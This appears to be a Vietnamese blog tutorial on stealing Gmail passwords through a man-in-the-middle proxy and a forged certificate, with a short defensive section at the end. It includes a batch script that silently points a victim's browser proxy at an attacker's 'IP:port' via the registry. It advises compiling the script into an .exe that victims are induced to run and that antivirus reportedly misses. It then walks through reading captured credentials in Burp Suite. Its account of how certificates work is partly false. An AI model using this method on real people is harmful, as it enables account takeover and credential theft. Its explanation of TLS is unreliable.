Thứ Ba, 31 tháng 5, 2011

Kỹ thuật hack Password Gmail

Trong bài viết này tôi sẽ trình bày với các bạn kỹ thuật hack Password của Gmail hay các trang web khác cũng dùng phương thức xác thực một cách tương tự (SSL – Certificate – HTTPS). Đồng thời tôi cũng sẽ trình bày cách nhận biết và ngăn chặn nguy cơ này. 

I. Hiểu biết chung

Gmail hay những dịch vụ web khác thường sử dụng HTTPS để mã hóa gói tin User/Pass. Khi trình duyệt web sử dụng Certificate của Gmail cung cấp và mã hóa thì gói tin User/Pass khi đi trên mạng sẽ an toàn ở mức độ (gần như tuyệt đối).

Kẽ hở ở đây là thế nào mà lại có thể Hack được pass của những phương thức xác thực và mã hóa có tính bảo mật cao.

Quá trình xác thực bình thường khi người dùng truy cập Gmail 




Bước 1: Người dùng truy cập gmail.com

Bước 2: Gmail sẽ gửi thông tin tới Versign để lấy Certificate

Bước 3: Versign gửi lại cho Gmail Certificate bao gồm: Public Key và Private key

Bước 4: Gmail gửi lại cho người dùng Public Key để mã hóa thông tin xác thực

Bước 5: Người dùng sử dụng Public Key mã hóa gửi lên Gmail

Bước 6: Gmail sử dụng Private key để giải mã

Lưu ý: Gói tin mã hóa user/pass người dùng gửi lên gmail được mã hóa bằng public key thì chỉ có private key mới giải mã dc. Trong khi đó Private key được Gmail dữ lại và không truyền trên mạng, nên gói tin này cực kỳ bảo mật và không có khả năng giải mã. 


Kỹ thuật giả mạo Certifcate

- Đây là kỹ thuật mà người dùng vào Gmail sẽ không đi thẳng mà đi qua một Intercepting Proxy và bị giả mạo Certificate.




Bước 1: Người dùng vào Gmail.

Bước 2: Khi gói tin từ người dùng vào Intercept proxy nó sẽ chỉnh sửa thông tin và gửi lên Gmail.

Bước 3: Gmail gửi yêu cầu lên Versign để sinh Certificate.

Bước 4: Verisign gửi Certificate về cho Gmail. Gmail dữ lại Private key và gửi cho người yêu cầu Public key.

Bước 5: Gmail gửi Public key cho Intercept Proxy, Key này sẽ không được gửi cho người dùng.

Bước 6: Intercept Proxy tự ra một cặp key và gửi Public key về cho người dùng.

Bước 7: Người dùng sử dụng Public Key giả này do Proxy sinh ra để mã hóa user/pass và gửi lên cho proxy. Proxy do tự sinh ra cặp key nên sẽ có Private key để giải mã.

Bước 8: Sau khi giải mã được gói tin người dùng truyền lên Proxy sẽ sử dụng Public Key của Gmail gửi cho rồi mã hóa à gửi lên gmail và quá trình xác thực vẫn dc thực hiện.

Lưu ý: Khi đó nếu kẻ tấn công đứng trên con Intercept Proxy thì hoàn toàn có thể biết được User/Pass của người dùng. Người dùng không chú ý khi đi qua một Intercept proxy thì user/pass hoàn toàn có thể bị lộ, mặc dù sử dụng các phương thức xác thực rất bảo mật.

II. Tools sử dụng

1. Tool Burpsuite 1.3


Link download: http://www.portswigger.net/suite/burpsuite_v1.3.zip 

Đây là một Tool có tính năng là một Intercept Proxy.

2. Java (Burpsuite là file .jar chạy trên nền Java)


Link download: http://baomathethong.blogspot.com/2012/05/cap-nhat-java-v70-update-4.html

3. Trình duyệt yêu cầu: IE, Firefox
.

4. Tools thiết lập Proxy bằng một file


Đây là tools tôi tự viết dạng file .bat hoặc các bạn có thể chuyển file.bat sang file.exe để khi người dùng kích vào file này sẽ tự động thiết lập Proxy.

5. Tool Quick Batch File Compiler 3.2.9.0 là một tools chuyển file .bat thành file .exe 


Link download: http://www.abyssmedia.com/download.shtml#.T7z7i1JB11w

III. Kỹ thuật lấy Password Gmail

- Cách thông thường nhất là sử dụng Keylogger nhưng cách này không sử dụng được khi có các chương trình diệt virus mạnh.

- Export thông tin từ trình duyệt web như IE, Firefox. Cách này không thực hiện được khi người dùng không lưu User/Pass trên trình duyệt.

- Còn một cách đó là giả mạo Certificate và sử dụng Intercept Proxy.

a. Đặt proxy cho người dùng

- Để toàn bộ nội dung người dùng truy cập web đi qua Intercept Proxy thì cần phải thiết lập proxy trên trình duyệt của người dùng.

- Cách thiết lập có thể bạn thiết lập bằng tay (bằng một cách nào đó có quyền điều khiển máy tính của nạn nhân).

- Hướng người dùng chạy một file.exe mà do chúng ta viết để thiết lập proxy.

Tạo ra một file.bat với nội dung như sau:


Code:

echo Windows Registry Editor Version 5.00 > 1
echo [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings] >2
echo "MigrateProxy"=dword:00000001 > 3
echo "ProxyEnable"=dword:00000001 > 4
echo "ProxyHttp1.1"=dword:00000000 > 5
echo "ProxyServer"="IP:port" > 6
echo "ProxyOverride"="" > 7
copy /b "1"+"2"+"3"+"4"+"5"+"6"+"7" b.reg
del 1 /f /q
del 2 /f /q
del 3 /f /q
del 4 /f /q
del 5 /f /q
del 6 /f /q
del 7 /f /q
regedit.exe /s b.reg
del b.reg /f /q





Sau đó dùng Tool Quick Batch File Compiler 3.2.9.0 chuyển file.bat này sang file.exe

- Khi người dùng nhấn vào file này sẽ tự động thiết lập proxy cho IE với IP bạn thay bằng IP bạn cần thiết lập, Port là port của Proxy sử dụng. Điều rất hay đó là file này tất cả các chương trình diệt virus đều không coi là Virus.

- Trong bài viết này tôi sử dụng một máy tính nên proxy tôi thiết lập trên trình duyệt là 127.0.0.1

b. Tiến hành

Bước 1: Cài đặt Java

Bước 2: Chạy Burpsuite

Bước 3: Thiết lập Proxy

Bước 4: Truy cập Gmail

Bước 5: Vào Proxy xem thông tin User/Pass

* Bước 1: Cài đặt Java

- Sau khi bạn download bộ cài Java từ trang sun.com bạn cài đặt để chuẩn bị môi trường cho các chương trình chạy trên môi trường Java.

* Bước 2: Chạy Burpsuite

- Sau khi download Burpsuite tiến hành giải nén khi đến file .jar thì dừng lại

Chạy chương trình Burpsuite_v1.3 để làm Intercepting Proxy. Nhấn đúp vào file .jar giải nén từ bộ download được.




Chạy chương trình Burpsuite.




Mặc định chương trình này chỉ làm proxy cho chính máy chạy chương trình, để các máy khác có thể sử dụng chương trình này làm proxy phải à Vào tab proxy à chọn Options rồi có thể Edit tùy biến port sử dụng (mặc định là 8080) bỏ dấu check box “loopback only".




Chuyển sang tab Intercept để cấu hình các mode hoạt động của Intercepting proxy.

- Chế độ Intercept on: đây là chế độ hoạt động. Nếu một người đặt máy tính này làm proxy thì toàn bộ quá trình truy cập ra internet đều bị proxy này quản lý. Khi một request từ trình duyệt tới Proxy, nó sẽ phát hiện nội dung có thể chỉnh sửa và forward đi thì mới tới máy chủ web.

Chúng ta tắt chế đô này bằng cách nhấn vào Intercept on sẽ thành off. Mục đích khi người dùng sử dụng phần mềm này làm proxy thì vẫn có thể vào Internet bình thường. Để chế độ này chỉ để lưu lại các thông tin người dùng truy cập web.




* Bước 3: Đặt Proxy

- Vào IE chỉnh proxy vào địa chỉ 127.0.0.1 port 8080. IE à IE options à tab connection nhấn vào nút LAN Settings.

- Hoặc chạy file.bat với nội dung như trên.

Dùng tools chuyển file.bat à file.exe rồi chạy file.exe này cũng được



* Bước 4: Vào Gmail qua IE (đã thiết lập Proxy)
 
Truy cập vào Gmail sẽ thấy thông báo Certificate lỗi nhấn continue để tiếp tục.



Tiếp tục google sẽ thông báo Certificate Error bạn vẫn gõ Username password để truy cập vào Mail.




Tôi vào được mail vẫn còn thông báo Certificate Error.




* Bước 5: Vào Proxy tìm thông tin Username và Pass

- Vào Burpsuite à Chuyển sang tab “Target” à Chọn Site Map.

Lựa chọn trang web https://www.google.com à Vào mục Accounts à Vào mục ServiceLoginAuth à Nhìn chuyển sang bên phải chọn “Request” (thông tin gửi lên server) vào mục Raw chúng ta sẽ thấy thông tin Username và Password.




IV. Phát hiện và bảo mật cho Account Gmail

Muốn hack password gmail kẻ tấn công phải hướng người dùng đặt Proxy đi qua một Intercept Proxy sau đó giả mạo Certificate do đó muốn phát hiện và bảo mật cho Account Gmail bạn có thể thực hiện bằng các cách:

1. Phát hiện khi vào mạng có qua một Proxy hay không

- Kiểm tra bằng cách trước khi vào Internet truy cập vào mục thiết lập Proxy xem có địa chỉ nào được thiết lập hay chưa.

- Cách này rất hữu ích nhưng xem ra có phần rườm rà khó thực hiện và dễ bị quên hay bỏ qua.

2. Phát hiện Certificate bị giả mạo

a. Khi truy cập bình thường

+ Vào Gmail sẽ không bật ra nhưng pop-up đề xuất download Certificate.

+ Nhấn chuột vào biểu tượng cục khóa à view Certifcate sẽ thấy nó được sinh ra từ Verisign.




 
b. Khi truy cập đi qua một Intercept Proxy 

- Truy cập vào Gmail sẽ xuất hiện cửa sổ này thông báo Certificate của bạn đã bị lỗi có tiếp tục hay không. Nếu thấy biểu tượng này khuyến cáo người dùng không nên tiếp tục và kiểm tra lại độ an toàn của mạng và máy tính trước khi truy cập.




+ Nếu người dùng tiếp tục truy cập vào trang Gmail sẽ không có biểu tượng cục khóa mà thay vào đó là biểu tượng “Certificate Error”.

+ Nhấn xem Certificate này chúng ta sẽ thấy Certificate này không phải do Verisign sinh ra.




Lưu ý: 


- Nếu người dùng thấy hai yếu tố này khuyến cáo không nên tiếp tục vào Gmail vì Username và Password của bạn hoàn toàn có thể bị mất. 

- Ngoài ra người dùng không nên lưu mật khẩu để tự động truy cập, bởi khi máy tính rơi vào tay người khác thì thông tin còn lưu lại trên IE, Firefox hoàn toàn có thể bị khai thác dễ dàng.
 
- Người dùng nên cài các chương trình diệt Virus mạnh để ngăn chặn các loại Virus, Keylogger ăn trộm mật khẩu.

Editor: Vương L. Kiều (Baomathethong.blogspot.com)
Author: Hoàng Tuấn Đạt 
Source: Ipmac.vn

Không có nhận xét nào:

Đăng nhận xét